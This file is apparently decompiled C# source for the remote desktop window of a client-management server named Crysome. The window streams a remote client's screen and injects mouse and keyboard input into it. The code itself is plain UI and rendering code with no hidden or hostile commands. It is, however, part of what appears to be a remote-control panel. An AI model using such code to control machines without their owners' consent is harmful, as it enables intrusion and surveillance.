using System;
using System.CodeDom.Compiler;
using System.ComponentModel;
using System.Diagnostics;
using System.IO;
using System.Windows;
using System.Windows.Controls;
using System.Windows.Controls.Primitives;
using System.Windows.Input;
using System.Windows.Markup;
using System.Windows.Media.Imaging;
using System.Windows.Threading;
using Crysome.Common.Network.Packets.Client;
using Crysome.Server.Model;
using Crysome.Server.ViewModel;
using Wpf.Ui.Controls;

namespace Crysome.Server.View;

public class RemoteDesktopWindow : FluentWindow, IComponentConnector
{
	private readonly ClientInfo _client;

	private readonly ManageClientsViewModel _vm;

	private int _remoteWidth = 1920;

	private int _remoteHeight = 1080;

	private bool _streaming;

	private volatile byte[] _latestJpeg;
	private System.Windows.Media.Imaging.WriteableBitmap _writeableBitmap;
	private System.Drawing.Bitmap _decodeBitmap;
	private readonly object _frameLock = new object();
	private bool _renderHooked;

	private ScreenInfo[] _screens;

	private DateTime _lastMouseMove = DateTime.MinValue;

	private System.Windows.Controls.ComboBox _captureModeCombo;

	internal TextBlock TitleText;

	internal ComboBox ScreenCombo;

	internal Button StartBtn;

	internal Button StopBtn;

	internal Button MinimizeBtn;

	internal Button MaximizeBtn;

	internal Button CloseBtn;

	internal Border DesktopArea;

	internal Viewbox DesktopViewbox;

	internal Image DesktopImage;

	internal TextBlock StatusText;

	internal TextBlock QualityText;

	internal ToggleSwitch MouseControlSwitch;

	internal ToggleSwitch KeyboardControlSwitch;

	private bool _contentLoaded;

	public RemoteDesktopWindow(ClientInfo client, ManageClientsViewModel vm)
	{
		InitializeComponent();
		_client = client;
		_vm = vm;
		((Window)this).Title = "Remote Desktop — " + (client?.Address ?? "?");
		TitleText.Text = ((Window)this).Title;
		// Find the parent of ScreenCombo to insert our capture mode combo
		var screenParent = System.Windows.Media.VisualTreeHelper.GetParent(ScreenCombo) as System.Windows.Controls.Panel;
		if (screenParent != null)
		{
			_captureModeCombo = new System.Windows.Controls.ComboBox();
			_captureModeCombo.Items.Add("Auto (DXGI → GDI+)");
			_captureModeCombo.Items.Add("DXGI Only");
			_captureModeCombo.Items.Add("GDI+ Only");
			_captureModeCombo.SelectedIndex = 0;
			_captureModeCombo.Width = 160;
			_captureModeCombo.Margin = new Thickness(8, 0, 0, 0);
			// Insert after ScreenCombo
			int idx = screenParent.Children.IndexOf(ScreenCombo);
			if (idx >= 0)
				screenParent.Children.Insert(idx + 1, _captureModeCombo);
			else
				screenParent.Children.Add(_captureModeCombo);
		}
		((UIElement)this).AddHandler(UIElement.PreviewKeyDownEvent, (Delegate)new KeyEventHandler(OnPreviewKeyDown), true);
		((UIElement)this).AddHandler(UIElement.PreviewKeyUpEvent, (Delegate)new KeyEventHandler(OnPreviewKeyUp), true);
		((Window)this).Closed += delegate
		{
			if (_renderHooked)
			{
				_renderHooked = false;
				System.Windows.Media.CompositionTarget.Rendering -= OnVsyncRender;
			}
			if (_streaming)
			{
				_vm.StopRemoteDesktop(_client);
			}
			_vm.UnregisterDesktopFrames(_client);
			try { _decodeBitmap?.Dispose(); } catch { }
		};
		((FrameworkElement)this).Loaded += delegate
		{
			RequestScreenList();
		};
	}

	private void RequestScreenList()
	{
		ScreenCombo.Items.Clear();
		ScreenCombo.Items.Add("Loading...");
		ScreenCombo.SelectedIndex = 0;
		ScreenCombo.IsEnabled = false;
		_vm.GetScreens(_client, delegate(ScreensResponsePacket resp)
		{
			_screens = ((resp != null) ? resp.Screens : null);
			ScreenCombo.Items.Clear();
			if (_screens == null || _screens.Length == 0)
			{
				ScreenCombo.Items.Add("Primary (default)");
				ScreenCombo.SelectedIndex = 0;
			}
			else
			{
				for (int i = 0; i < _screens.Length; i++)
				{
					ScreenInfo val = _screens[i];
					string text = "Screen " + (i + 1) + " (" + val.Width + "x" + val.Height + ")";
					if (val.IsPrimary)
					{
						text += " ★";
					}
					ScreenCombo.Items.Add(text);
				}
				for (int j = 0; j < _screens.Length; j++)
				{
					if (_screens[j].IsPrimary)
					{
						ScreenCombo.SelectedIndex = j;
						break;
					}
				}
				if (ScreenCombo.SelectedIndex < 0)
				{
					ScreenCombo.SelectedIndex = 0;
				}
			}
			ScreenCombo.IsEnabled = true;
		});
	}

	private int GetSelectedScreenIndex()
	{
		if (_screens == null || _screens.Length == 0)
		{
			return -1;
		}
		int selectedIndex = ScreenCombo.SelectedIndex;
		if (selectedIndex < 0 || selectedIndex >= _screens.Length)
		{
			return -1;
		}
		return selectedIndex;
	}

	private void OnPreviewKeyDown(object sender, KeyEventArgs e)
	{
		//IL_0031: Unknown result type (might be due to invalid IL or missing references)
		if (!_streaming)
		{
			return;
		}
		ToggleSwitch keyboardControlSwitch = KeyboardControlSwitch;
		if (keyboardControlSwitch != null && ((ToggleButton)(object)keyboardControlSwitch).IsChecked == true && ((Window)this).IsActive)
		{
			int num = KeyInterop.VirtualKeyFromKey(e.Key);
			if (num >= 0 && num <= 255)
			{
				_vm.SendRemoteInput(_client, 3, 0, 0, num);
				e.Handled = true;
			}
		}
	}

	private void OnPreviewKeyUp(object sender, KeyEventArgs e)
	{
		//IL_0031: Unknown result type (might be due to invalid IL or missing references)
		if (!_streaming)
		{
			return;
		}
		ToggleSwitch keyboardControlSwitch = KeyboardControlSwitch;
		if (keyboardControlSwitch != null && ((ToggleButton)(object)keyboardControlSwitch).IsChecked == true && ((Window)this).IsActive)
		{
			int num = KeyInterop.VirtualKeyFromKey(e.Key);
			if (num >= 0 && num <= 255)
			{
				_vm.SendRemoteInput(_client, 4, 0, 0, num);
				e.Handled = true;
			}
		}
	}

	private void StartBtn_Click(object sender, RoutedEventArgs e)
	{
		_streaming = true;
		((UIElement)(object)StartBtn).IsEnabled = false;
		((UIElement)(object)StopBtn).IsEnabled = true;
		ScreenCombo.IsEnabled = false;
		byte captureMode = (byte)(_captureModeCombo?.SelectedIndex ?? 0);
		string modeName = captureMode == 1 ? "DXGI" : captureMode == 2 ? "GDI+" : "Auto";
		StatusText.Text = $"Streaming ({modeName})... Click on image to control mouse/keyboard.";
		QualityText.Text = "Quality: HD (80)";
		DesktopArea?.Focus();
		int selectedScreenIndex = GetSelectedScreenIndex();
		if (!_renderHooked)
		{
			_renderHooked = true;
			System.Windows.Media.CompositionTarget.Rendering += OnVsyncRender;
		}
		_vm.StartRemoteDesktop(_client, 16, selectedScreenIndex, captureMode, delegate(byte[] imageData)
		{
			if (imageData != null && imageData.Length > 0)
				_latestJpeg = imageData;
		}, delegate(int quality)
		{
			string text = ((quality >= 70) ? "HD" : ((quality >= 50) ? "Medium" : ((quality >= 35) ? "Low" : "Very Low")));
			int num = ((quality >= 80) ? 30 : ((quality >= 65) ? 10 : ((quality >= 50) ? 5 : ((quality >= 35) ? 3 : 2))));
			QualityText.Text = "Quality: " + text + " (" + quality + " / " + num + " fps)";
		});
	}

	private void OnVsyncRender(object sender, EventArgs e)
	{
		if (!_streaming)
			return;

		byte[] jpeg = _latestJpeg;
		if (jpeg == null)
			return;
		_latestJpeg = null;

		try
		{
			using (var ms = new MemoryStream(jpeg))
			{
				var bmp = _decodeBitmap;
				if (bmp != null)
				{
					try { bmp.Dispose(); } catch { }
				}
				_decodeBitmap = new System.Drawing.Bitmap(ms);
				bmp = _decodeBitmap;

				int w = bmp.Width;
				int h = bmp.Height;

				if (_writeableBitmap == null || _writeableBitmap.PixelWidth != w || _writeableBitmap.PixelHeight != h)
				{
					_writeableBitmap = new System.Windows.Media.Imaging.WriteableBitmap(
						w, h, 96, 96, System.Windows.Media.PixelFormats.Bgr24, null);
					DesktopImage.Source = _writeableBitmap;
					_remoteWidth = w;
					_remoteHeight = h;
				}

				var bmpData = bmp.LockBits(
					new System.Drawing.Rectangle(0, 0, w, h),
					System.Drawing.Imaging.ImageLockMode.ReadOnly,
					System.Drawing.Imaging.PixelFormat.Format24bppRgb);

				_writeableBitmap.Lock();
				try
				{
					IntPtr src = bmpData.Scan0;
					IntPtr dst = _writeableBitmap.BackBuffer;
					int srcStride = bmpData.Stride;
					int dstStride = _writeableBitmap.BackBufferStride;

					if (srcStride == dstStride)
					{
						unsafe
						{
							Buffer.MemoryCopy((void*)src, (void*)dst, dstStride * h, srcStride * h);
						}
					}
					else
					{
						int copyLen = Math.Min(srcStride, dstStride);
						for (int y = 0; y < h; y++)
						{
							unsafe
							{
								Buffer.MemoryCopy(
									(byte*)src + y * srcStride,
									(byte*)dst + y * dstStride,
									copyLen, copyLen);
							}
						}
					}
					_writeableBitmap.AddDirtyRect(new System.Windows.Int32Rect(0, 0, w, h));
				}
				finally
				{
					_writeableBitmap.Unlock();
					bmp.UnlockBits(bmpData);
				}
			}
		}
		catch
		{
		}
	}

	private void StopBtn_Click(object sender, RoutedEventArgs e)
	{
		_streaming = false;
		((UIElement)(object)StartBtn).IsEnabled = true;
		((UIElement)(object)StopBtn).IsEnabled = false;
		ScreenCombo.IsEnabled = true;
		_vm.StopRemoteDesktop(_client);
		_vm.UnregisterDesktopFrames(_client);
		if (_renderHooked)
		{
			_renderHooked = false;
			System.Windows.Media.CompositionTarget.Rendering -= OnVsyncRender;
		}
		_latestJpeg = null;
		try { _decodeBitmap?.Dispose(); } catch { }
		_decodeBitmap = null;
		_writeableBitmap = null;
		DesktopImage.Source = null;
		StatusText.Text = "Stopped.";
		QualityText.Text = "";
	}

	private void MinimizeBtn_Click(object sender, RoutedEventArgs e)
	{
		((Window)this).WindowState = WindowState.Minimized;
	}

	private void MaximizeBtn_Click(object sender, RoutedEventArgs e)
	{
		if (((Window)this).WindowState == WindowState.Maximized)
		{
			((Window)this).WindowState = WindowState.Normal;
			((ContentControl)(object)MaximizeBtn).Content = "□";
			((FrameworkElement)(object)MaximizeBtn).ToolTip = "Maximize";
		}
		else
		{
			((Window)this).WindowState = WindowState.Maximized;
			((ContentControl)(object)MaximizeBtn).Content = "❒";
			((FrameworkElement)(object)MaximizeBtn).ToolTip = "Restore";
		}
	}

	private void CloseBtn_Click(object sender, RoutedEventArgs e)
	{
		((Window)this).Close();
	}

	private void Header_MouseLeftButtonDown(object sender, MouseButtonEventArgs e)
	{
		try
		{
			((Window)this).DragMove();
		}
		catch
		{
		}
	}

	private void ImageToRemoteCoords(Point p, out int x, out int y)
	{
		double actualWidth = DesktopViewbox.ActualWidth;
		double actualHeight = DesktopViewbox.ActualHeight;
		if (actualWidth <= 0.0 || actualHeight <= 0.0 || _remoteWidth <= 0 || _remoteHeight <= 0)
		{
			x = 0;
			y = 0;
			return;
		}
		double num = Math.Min(actualWidth / (double)_remoteWidth, actualHeight / (double)_remoteHeight);
		double num2 = (double)_remoteWidth * num;
		double num3 = (double)_remoteHeight * num;
		double num4 = (actualWidth - num2) / 2.0;
		double num5 = (actualHeight - num3) / 2.0;
		x = (int)((p.X - num4) / num);
		y = (int)((p.Y - num5) / num);
		if (x < 0)
		{
			x = 0;
		}
		if (x >= _remoteWidth)
		{
			x = _remoteWidth - 1;
		}
		if (y < 0)
		{
			y = 0;
		}
		if (y >= _remoteHeight)
		{
			y = _remoteHeight - 1;
		}
	}

	private void DesktopImage_MouseMove(object sender, MouseEventArgs e)
	{
		//IL_005e: Unknown result type (might be due to invalid IL or missing references)
		if (!_streaming)
		{
			return;
		}
		ToggleSwitch mouseControlSwitch = MouseControlSwitch;
		if (mouseControlSwitch != null && ((ToggleButton)(object)mouseControlSwitch).IsChecked == true)
		{
			DateTime utcNow = DateTime.UtcNow;
			if (!((utcNow - _lastMouseMove).TotalMilliseconds < 16.0))
			{
				_lastMouseMove = utcNow;
				ImageToRemoteCoords(e.GetPosition(DesktopViewbox), out var x, out var y);
				_vm.SendRemoteInput(_client, 0, x, y, 0);
			}
		}
	}

	private void DesktopImage_MouseDown(object sender, MouseButtonEventArgs e)
	{
		//IL_0030: Unknown result type (might be due to invalid IL or missing references)
		if (_streaming)
		{
			ToggleSwitch mouseControlSwitch = MouseControlSwitch;
			if (mouseControlSwitch != null && ((ToggleButton)(object)mouseControlSwitch).IsChecked == true)
			{
				ImageToRemoteCoords(e.GetPosition(DesktopViewbox), out var x, out var y);
				int buttonOrKey = ((e.ChangedButton == MouseButton.Left) ? 1 : 2);
				_vm.SendRemoteInput(_client, 1, x, y, buttonOrKey);
			}
		}
	}

	private void DesktopImage_MouseUp(object sender, MouseButtonEventArgs e)
	{
		//IL_0030: Unknown result type (might be due to invalid IL or missing references)
		if (_streaming)
		{
			ToggleSwitch mouseControlSwitch = MouseControlSwitch;
			if (mouseControlSwitch != null && ((ToggleButton)(object)mouseControlSwitch).IsChecked == true)
			{
				ImageToRemoteCoords(e.GetPosition(DesktopViewbox), out var x, out var y);
				int buttonOrKey = ((e.ChangedButton == MouseButton.Left) ? 1 : 2);
				_vm.SendRemoteInput(_client, 2, x, y, buttonOrKey);
			}
		}
	}

	private void DesktopArea_Focus(object sender, MouseButtonEventArgs e)
	{
		DesktopArea?.Focus();
	}

	[DebuggerNonUserCode]
	[GeneratedCode("PresentationBuildTasks", "9.0.14.0")]
	public void InitializeComponent()
	{
		if (!_contentLoaded)
		{
			_contentLoaded = true;
			Uri resourceLocator = new Uri("/Crysome.Server;component/view/remotedesktopwindow.xaml", UriKind.Relative);
			Application.LoadComponent(this, resourceLocator);
		}
	}

	[DebuggerNonUserCode]
	[GeneratedCode("PresentationBuildTasks", "9.0.14.0")]
	[EditorBrowsable(EditorBrowsableState.Never)]
	void IComponentConnector.Connect(int connectionId, object target)
	{
		//IL_007d: Unknown result type (might be due to invalid IL or missing references)
		//IL_0087: Expected O, but got Unknown
		//IL_00a1: Unknown result type (might be due to invalid IL or missing references)
		//IL_00ab: Expected O, but got Unknown
		//IL_00c5: Unknown result type (might be due to invalid IL or missing references)
		//IL_00cf: Expected O, but got Unknown
		//IL_00e9: Unknown result type (might be due to invalid IL or missing references)
		//IL_00f3: Expected O, but got Unknown
		//IL_010d: Unknown result type (might be due to invalid IL or missing references)
		//IL_0117: Expected O, but got Unknown
		//IL_01fc: Unknown result type (might be due to invalid IL or missing references)
		//IL_0206: Expected O, but got Unknown
		//IL_0209: Unknown result type (might be due to invalid IL or missing references)
		//IL_0213: Expected O, but got Unknown
		switch (connectionId)
		{
		case 1:
			((Border)target).MouseLeftButtonDown += Header_MouseLeftButtonDown;
			break;
		case 2:
			TitleText = (TextBlock)target;
			break;
		case 3:
			ScreenCombo = (ComboBox)target;
			break;
		case 4:
			StartBtn = (Button)target;
			((ButtonBase)(object)StartBtn).Click += StartBtn_Click;
			break;
		case 5:
			StopBtn = (Button)target;
			((ButtonBase)(object)StopBtn).Click += StopBtn_Click;
			break;
		case 6:
			MinimizeBtn = (Button)target;
			((ButtonBase)(object)MinimizeBtn).Click += MinimizeBtn_Click;
			break;
		case 7:
			MaximizeBtn = (Button)target;
			((ButtonBase)(object)MaximizeBtn).Click += MaximizeBtn_Click;
			break;
		case 8:
			CloseBtn = (Button)target;
			((ButtonBase)(object)CloseBtn).Click += CloseBtn_Click;
			break;
		case 9:
			DesktopArea = (Border)target;
			DesktopArea.MouseLeftButtonDown += DesktopArea_Focus;
			break;
		case 10:
			DesktopViewbox = (Viewbox)target;
			break;
		case 11:
			DesktopImage = (Image)target;
			DesktopImage.MouseMove += DesktopImage_MouseMove;
			DesktopImage.MouseLeftButtonDown += DesktopImage_MouseDown;
			DesktopImage.MouseLeftButtonUp += DesktopImage_MouseUp;
			DesktopImage.MouseRightButtonDown += DesktopImage_MouseDown;
			DesktopImage.MouseRightButtonUp += DesktopImage_MouseUp;
			break;
		case 12:
			StatusText = (TextBlock)target;
			break;
		case 13:
			QualityText = (TextBlock)target;
			break;
		case 14:
			MouseControlSwitch = (ToggleSwitch)target;
			break;
		case 15:
			KeyboardControlSwitch = (ToggleSwitch)target;
			break;
		default:
			_contentLoaded = true;
			break;
		}
	}
}
